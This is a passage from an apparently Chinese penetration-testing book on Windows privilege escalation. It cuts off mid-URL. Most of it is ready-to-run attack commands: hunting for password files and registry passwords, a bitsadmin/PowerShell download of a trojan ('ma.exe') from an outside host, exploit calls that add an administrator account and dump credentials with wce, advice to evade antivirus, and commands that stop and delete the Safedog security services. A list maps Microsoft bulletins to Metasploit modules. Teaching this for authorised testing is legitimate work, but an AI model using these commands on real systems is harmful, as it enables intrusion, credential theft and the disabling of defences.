wmic qfe get Caption,De**ion,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"

如果执行上面的命令后没有输出,意味着那个补丁未安装。

结束程序:“wmic process where name="iexplore.exe" call terminate”命令。

7.检索敏感文件

dir /b /s password.txt

dir /b /s *.doc

dir /b /s *.ppt

dir /b /s *.xls

dir /b /s *.docx

dir /b /s *.xlsx

dir /b /s config.* filesystem

findstr /si password *.xml *.ini *.txt

findstr /si login *.xml *.ini *.txt

除此之外,还可以检查无人值守安装日志文件。这些文件通常包含 Base64 编码的密码。在大型

企业中,单个系统手动安装是不切实际的,找到这些文件即可获取管理员密码。这些文件的共同位

置如下。

C:\sysprep.inf

C:\sysprep\sysprep.xml

C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\Panther\Unattended.xml

8.目录文件操作

列出 d:\www 下的所有目录,命令如下。

for /d %i in (d:\www\*) do @echo %i

把当前路径下文件夹名字只有 1~3 个字母的显示出来,命令如下。

for /d %i in (???) do @echo %i

以当前目录为搜索路径,把当前目录及其子目录中的全部 EXE 文件列出,命令如下。

for /r %i in (*.exe) do @echo %i

以指定目录为搜索路径,把当前目录及其子目录中的所有文件列出,命令如下。

for /r "f:\freehost\hmadesign\web\" %i in (*.*) do @echo %i 显示 a.txt 中的内容,因为/f 的作用,会读出 a.txt 中的内容,命令如下。

for /f %i in (c:\1.txt) do echo %i



51





网络攻防实战研究:漏洞利用与提权

9.RAR 打包

rar a -k -r -s -m3 c:\1.rar d:\wwwroot

10.PHP 读文件

c:/php/php.exe "c:/www/admin/1.php"

11.Windows 7 及以上版本下载可以使用的 bitsadmin 和 PowerShell

bitsadmin /transfern http://www.antian365.com/ma.exe d:\ma.exe powershell (new-object System.Net.WebClient).DownloadFile(' http://www.

antian365.com/ma.exe','ma.exe')

12.注册表关键字搜索

password 为关键字,可以是 vnc 等敏感关键字,命令如下。

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

13.系统权限配置

cacls c:\

cacls c:\windows\ma.exe //查看 ma.exe 的权限配置

14.自动收集系统有用的脚本

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set

"var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html

wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName

/format:"%var%" >> out.html

wmic USERACCOUNT list full /format:"%var%" >> out.html wmic group list full /format:"%var%" >> out.html wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway, Description, DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace

/format:"%var%" >> out.html

wmic netuse list full /format:"%var%" >> out.html wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html

wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor, Version /format:"%var%" >> out.html wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer, RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

2.1.2 Windows 提权准备

通过前面的基础命令,我们可以有针对性地对目标开展提权工作。使用 Windows-Exploit-

Suggester 获取目前系统中可能存在的漏洞,步骤如下。

52





第 2 章 Windows 漏洞利用与提权

① 收集并编译相关 POC。

② 若操作系统中安装了杀毒软件及安全防护软件,则需要对提权 POC 进行免杀,否则直接进

行下一步。

③ 上传 POC。

④ 由 WebShell 或者反弹 WebShell 来执行命令。

⑤ 搜索漏洞,根据关键字进行搜索,例如 MS10-061。

在百度浏览器中搜索“MS10-061 site:exploit-db.com”。

访问 packetstormsecurity 网站进行搜索(https://packetstormsecurity.com/search/?q=MS16-016)。

安全焦点的 BugTraq 是一个出色的漏洞和 Exploit 数据源,可以通过 CVE 编号或者产品信息

漏洞直接搜索,网址为 http://www.securityfocus.com/bid。

2.1.3 使用 MSF 平台搜索可利用的 POC

(1)搜索 POC

在 Kali 中打开 MSF 或者执行“/usr/bin/msfconsole”命令,在命令提示符下使用如下命令进行搜索。

search ms08

search ms09

search ms10

search ms11

search ms12

search ms13

search ms14

search ms15

search ms16

search ms17

以上命令用于搜索 2008 年至 2017 年 Windows 下所有可用的 exploit。搜索 2015 年的 Exploit,

如图 2-1 所示。



图 2-1 搜索 2015 年所有可用的 0day 漏洞

(2)查看相关漏洞情况

可以通过微软官方网站查看漏洞所对应的版本,利用方式为“https://technet.microsoft.com/library/

security/漏洞号”。例如,查看 MS08-068 的网页,打开方式为“https://technet.microsoft.com/library/

security/ms08-068”。如图 2-2 所示,如果显示为“严重”,则表明可以被利用。



53





网络攻防实战研究:漏洞利用与提权



图 2-2 微软对应漏洞版本号

2.1.4 实施提权

可以通过执行命令进行提权。例如,可利用 POC 文件为 poc.exe,则可以使用如下命令提权。

直接执行木马。

poc.exe ma.exe

添加用户。

poc.exe "net user antian365 1qaz2wsx /add"

poc.exe "net localgroup administrators antian365 /add"

获取明文密码或者哈希值。

poc.exe "wce32.exe -w"

poc.exe "wce64.exe -w"

poc.exe "wce32"

2.1.5 相关资源

1.工具

wce 下载:http : // www.ampliasecurity.com/research / windows-credentials - editor /;http://www.

ampliasecurity.Com/research/wce_v1_42beta_x32.zip ; http://www.ampliasecurity.com/research/

wce_v1_42beta_x64.zip。

sysinternals:https://technet.microsoft.com/en-us/sysinternals/bb842062。

mimikatz:http://blog.gentilkiwi.com/mimikatz。

python:https://www.python.org/downloads/windows/。

2.搜索漏洞和 Shellcode

http://www.exploit-db.com。

http://1337day.com。

http://0day.today。

http://www.securityfocus.com。

54





第 2 章 Windows 漏洞利用与提权

http://seclists.org/fulldisclosure/。

http://www.exploitsearch.net。

http://www.securiteam.com。

http://metasploit.com/modules/。

http://securityreason.com。

https://cxsecurity.com/exploit/。

http://securitytracker.com/。

2.1.6 Windows 本地溢出漏洞及对应版本

1.2007 年对应漏洞、编号及其影响系统和 MSF 模块

KB935966|MS07-029 Windows 2000 SP4、Windows Server 2003 SP1/SP2

exploit/windows/dcerpc/ms07_029_msdns_zonename

exploit/windows/smb/ms07_029_msdns_zonename

KB937894|MS07-065 Windows XP SP2、Windows 2000 SP4、Windows XP x64 SP2、Windows Server 2003 SP1/SP2

exploit/windows/dcerpc/ms07_065_msmq

KB941568|MS07-064 Windows 2000 SP4

exploit/windows/misc/ms07_064_sami

KB944653|MS07-067 Windows XP SP2、Windows XP x64 SP2、Windows Server 2003 SP1/SP2

2.2008 年对应漏洞、编号及其影响系统和 MSF 模块

KB958644|MS08-067 Windows 2000 SP4、Windows XP SP2/SP3、Windows XP 64 SP/SP2、

Windows Server 2003 SP1/SP2、Windows Server 2003 64/SP2

exploit/windows/smb/ms08_067_netapi

KB 957097|MS08-068 Windows 2000 SP4、Windows XP SP2/SP3、Windows XP 64 SP/SP2、

Windows Server 2003 SP1/SP2、Windows Server 2003 64/SP2

exploit/windows/smb/smb_relay

3.2009 年对应漏洞、编号及其影响系统和 MSF 模块

KB952004|MS09-012 PR Windows Server 2003/2008

KB956572|MS09-012 烤肉

KB970483|MS09-020 IIS6

KB971657|MS09-041 Windows XP、Windows Server 2003 提权

KB975254|MS09-053 IIS5 远程溢出,Windows 2000 SP4、Windows Server 2003 及 Windows Server 2008 拒绝服务

KB975517|MS09-050 Windows Vista、Windows Server 2008 32/SP2、Windows Server 2008

64/SP2

exploit/windows/smb/ms09_050_smb2_negotiate_func_index 4.2010 年对应漏洞、编号及其影响系统和 MSF 模块

KB977165|MS10-015 Windows Vista、Windows Server 2003 32-64/SP2、Windows Server 2008



55

网络攻防实战研究:漏洞利用与提权

32-64/SP2

exploit/windows/local/ms10_015_kitrap0d

KB 2347290|MS10-061 Windows XP SP3、Windows XP 64 SP2、Windows Server 2003 32-64

SP2、Windows Server 2008 32-64 SP2

KB2360937|MS10-084 Windows XP 3、Windows XP 64 SP 2、Windows Server 2003 32-64 SP2

KB2305420|MS10-092 Windows 7 32-64、Windows Server 2008 32-64、Windows Server 2008 R2

32-64

exploit/windows/local/ms10_092_schelevator

KB2124261|KB2271195 MS10-065 IIS7

5.2011 年对应漏洞、编号及其影响系统和 MSF 模块

KB2393802|MS11-011 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2、Windows 7

32-64 SP1、Windows Server 2008 R2 64 SP2

KB2478960|MS11-014 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2

KB2507938|MS11-056 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2、Windows 7

32-64 SP1、Windows Server 2008 R2 64 SP2

KB2566454|MS11-062 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2

KB2620712|MS11-097 Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、

Windows Server 2008 R2 64 SP1

KB2503665|MS11-046 Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、

Windows Server 2008 R2 64 SP1

KB2592799|MS11-080 Windows XP SP3、Windows Server 2003 SP2

exploit/windows/local/ms11_080_afdjoinleaf

6.2012 年对应漏洞、编号及其影响系统和 MSF 模块

KB2711167|KB2707511|KB2709715|MS12-042 sysret –pid Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012

KB2621440|MS12-020 Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、

Windows Server 2008 R2 64 SP1、

7.2013 年对应漏洞、编号及其影响系统和 MSF 模块

KB2778930|MS13-005 Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7

32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012

exploit/windows/local/ms13_005_hwnd_broadcast

KB2840221|MS13-046 Windows XP 32 SP3、Windows XP 64 SP2、Windows Server 2003 32-64

SP2、Windows Vista 32-64 SP2、Windows Server 2008 R2 32-64 SP2、Windows 7 32-64 SP1、

Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012、Windows Server 2012 R2

KB2850851|MS13-053 EPATHOBJ 0day Windows XP 32 SP3、Windows XP 64 SP2、Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 R2 32-64 SP2、

56

第 2 章 Windows 漏洞利用与提权

Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012

exploit/windows/local/ms13_053_schlamperei

8.2014 年对应漏洞、编号及其影响系统和 MSF 模块

KB 2914368 |MS14-002 Windows XP SP3、Windows XP 64 SP2、Windows Server 2003 32-64

SP2

exploit/windows/local/ms_ndproxy

KB 2916607|MS14-009 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ms14_009_ie_dfsvc

KB3000061|MS14-058 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 R2 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ms14_058_track_popup_menu

KB 2989935|MS14-070 Windows Server 2003 32-64 SP2

exploit/windows/local/ms14_070_tcpip_ioctl

9.2015 年对应漏洞、编号及其影响系统和 MSF 模块

KB3023266|MS15-001 Windows 7 32-64 SP1、Windows Server 2008 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ntapphelpcachecontrol

KB3025421|MS15_004、Windows 7 32-64 SP1、Windows Server 2008 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ms15_004_tswbproxy

KB3041836|MS15-020、Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/smb/ms15_020_shortcut_icon_dllloader KB3057191|MS15-051 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ms15_051_client_copy_image

KB3077657|MS15-077 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64-SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

KB 3079904|MS15_078 Windows 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1

32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ms15_078_atmfd_bof



57





网络攻防实战研究:漏洞利用与提权

KB3079904|MS15-097 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/smb/ms15_020_shortcut_icon_dllloader 10.2016 年对应漏洞、编号及其影响系统和 MSF 模块

KB3134228|MS16-014 Windows Server 2008、Windows 7、Windows Server 2012

KB3124280|MS16-016 WebDAV 提权漏洞 Windows Vista 32-64 SP2、Windows Server 2008

32-64 SP2、Windows 7 32-64 SP1、Windows 2008 R2 64 SP1、Windows 8.1 32-64、Windows Server 2012、Windows Server 2012 R2、Windows 10 32-64

exploit/windows/local/ms16_016_webdav

KB3139914|MS16-032 Windows Vista 32-64 SP2、Windows Server2008 32-64 SP2、Windows 7

32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8.1 32-64、Windows Server 2012、

Windows Server 2012 R2、Windows 10 32-64

exploit/windows/local/ms16_032_secondary_logon_handle_privesc 如果 Windows Server 2003 SP2 安装了 MS10-046 补丁,可用 ms15_020 进行溢出。如果 Windows Server 2008 SP2(32 位)安装了 MS14-027 补丁,可用 ms15_020 进行溢出。

2.1.7 停用安全狗

如果是 system 权限,可以采取如下方法停用安全狗。

停用安全狗的相关服务,代码如下。

net stop "Safedog Guard Center" /y

net stop "Safedog Update Center" /y

net stop "SafeDogCloudHelper" /y

直接删除 SafeDogGuardCenter 服务,代码如下。

sc stop "SafeDogGuardCenter"

sc config "SafeDogGuardCenter" start= disabled sc delete "SafeDogGuardCenter"



sc stop "SafeDogUpdateCenter"

sc config "SafeDogUpdateCenter" start= disabled sc delete "SafeDogUpdateCenter"



sc stop "SafeDogCloudHelper"

sc config "SafeDogCloudHelper" start= disabled sc delete "SafeDogCloudHelper"

2.2 提权辅助工具 Windows-Exploit-Suggester

本节将介绍提权辅助工具 Windows-Exploit-Suggester。

2.2.1 Windows-Exploit-Suggester 简介

Windows-Exploit-Suggester 是受 Linux_Exploit_Suggester 的启发而开发的一款提权辅助工具,其

58





第 2 章 Windows 漏洞利用与提权

官方下载地址为 https://github.com/GDSSecurity/Windows-Exploit-Suggester。它是用 Python 开发而成

的,运行环境是 Python 3.3 及以上版本,且必须安装 xlrd 库(https://pypi.python.org/pypi/xlrd),主要

功能是通过比对 systeminfo 生成的文件发现系统是否存在未修复的漏洞。

Windows-Exploit-Suggester 通过下载微软公开漏洞库到本地“生成日期+mssb.xls”文件,然后根

据操作系统版本,与由 systeminfo 生成的文件进行比对。微软公开漏洞库下载地址为 http://www.

microsoft.com/en-gb/download/confirmation.aspx?id=36982。同时,此工具会告知用户针对此漏洞是否

有公开的 EXP 和可用的 Metasploit 模块。

2.2.2 使用 Windows-Exploit-Suggester

(1)下载 Windows-Exploit-Suggester、python 3.3 及 xlrd

https://www.python.org/ftp/python/3.3.3/python-3.3.3.amd64.msi https://pypi.python.org/packages/42/85/25caf967c2d496067489e0bb32df069a8361e 1fd96a7e9f35408e56b3aab/xlrd-1.0.0.tar.gz#md5=9a91b688cd4945477ac28187a54f9a3b https://codeload.github.c